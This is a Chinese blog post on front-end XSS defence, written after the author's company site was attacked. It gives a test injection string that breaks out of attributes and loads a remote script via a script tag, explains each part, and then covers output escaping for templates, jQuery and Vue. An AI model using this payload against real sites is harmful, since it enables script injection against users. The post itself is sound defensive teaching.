前端安全之 xss 攻擊

前段時間公司網頁被 xss 搞了一下,微信把域名封了,通宵搞了好幾天。javascript

這兩天把公司好幾年來的代碼都改了一遍,這工做喪心病狂css

什麼是 xss?

XSS 攻擊指經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的代碼。html

危害有什麼?

  1. 跳轉到廣告頁面,頁面注入廣告等等。
  2. 致使公司域名被其餘平臺拉黑,從而使業務受損。
  3. 用戶的財產受到威脅,他注入的代碼能夠在網頁中任意請求接口。

注入代碼

http://upcdn"'></script><script src="//www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n

上面的代碼是咱們測試的時候使用的,接下來咱們來分析一下這個代碼主要用途。前端

  1. http://upcdn 這個字符串是用來假裝的。vue

    • <img src="${str}"> 動態拼接圖片地址
    • <a href="${str}"> 動態跳轉頁面地址
  2. "'> 這兩個就是爲了截斷當前字符串,而後閉合標籤。java

    • <img src="${str}">
  3. </script> 也是爲了閉合標籤,這個主要用在後臺模板輸出的時候。後臺模板 velocity、freemarker 之類的。jquery

    • <script>var imgUrl = ${str}</script>
  4. <script src="//www.lilnong.top/xss.js"></script> 就是引入一個js,這種方式比較常見。注入以後,攻擊者只須要修改本身的文件,就能夠更新了。
  5. <script>alert(12306)</script> 直接執行js代碼
  6. <svg></svg> 注入一個元素,用於展現一個異常塊打亂佈局。好比 vue 中的 v-html 不會執行 script 標籤中的內容,可是會顯示 svg 圖片。
  7. \n\t\n 是爲了測試後臺模板輸出的場景。

防禦場景及方案

後臺模板

  1. toHtml 主要用於輸出在頁面(標籤中)中,將用戶輸入的內容進行編碼好比 <轉換爲&lt;後端

    • <span>${nickanme}</span>
  2. toJS 主要用於輸出在script標籤中,這裏須要防止打斷js,好比處理成"'\n\"\'\\n
  3. toUrl 這裏其實和 toHtml 場景很像,可是須要判斷url基礎格式。瀏覽器

    • https://
    • //lilnong.top
    • /static
    • ./static
    • ../static

jquery&原生js

  1. toHtml 場景。jquery中基本上都是拼接一下,而後 .html 輸出一下。這裏須要作的也是把用戶輸入的作一下實體編碼轉換。
  2. toUrl 場景。校驗一下url,而後 toHtml 或者 encode 均可以。

vue

  1. toHtml 場景。v-html 這裏須要注意一下,儘量不要使用,由於會致使注入問題。也能夠toHtml一下,可是不必不是嗎。
  2. toUrl 場景。:href 主要 javascript:alert(1);這種場景,作url校驗就能夠。
  3. toHtml 場景。使用原生的方法,vue 中非要 innerHTML的那些人。

常見問題

富文本場景

  1. 作文章那種,大量的標籤,屬性。這種通常須要後端處理。HTML Purifier
  2. 文字加表情,後者搜索高亮的場景。這種咱們能夠先執行toHtml,而後再匹配替換,最後在輸出到頁面便可。

換行符問題

有時咱們在textarea中輸入\n,渲染的時候空白符就被瀏覽器給吃了。針對這種狀況,咱們能夠用下面的方案處理微信

  1. 經過 css 屬性 white-space,或者 <pre> 標籤
  2. 通常人們是正則替換.replace(/\n/g,'<br>),這種輸出的時候萬一裏面有代碼不就涼了嗎。因此咱們先 toHtml 而後在使用,這樣能夠防止注入問題。
  3. 其實 .innerText 能夠自動把\n轉換爲<br>,你能夠本身試試

代碼實現

window.base = {
    toHtml: function (val) {
        if( typeof val != 'string' ) return '';
        var entityMap = {
            "&": "&amp;",
            "<": "&lt;",
            ">": "&gt;",
            '"': '&quot;',
            "'": '&#39;',
            "/": '&#x2F;'
        };
        return String(val).replace(/[&<>"'\/]/g, function (s) {
            return entityMap[s];
        });
    },
    toUrl: function (url) {
        if( typeof url != 'string' ) return '#';
        if(url.match(/^http/i)){
            return encodeURI(url)
        }
        return '#'
    },
};

微信公衆號:前端linong

clipboard.png

相關文章
相關標籤/搜索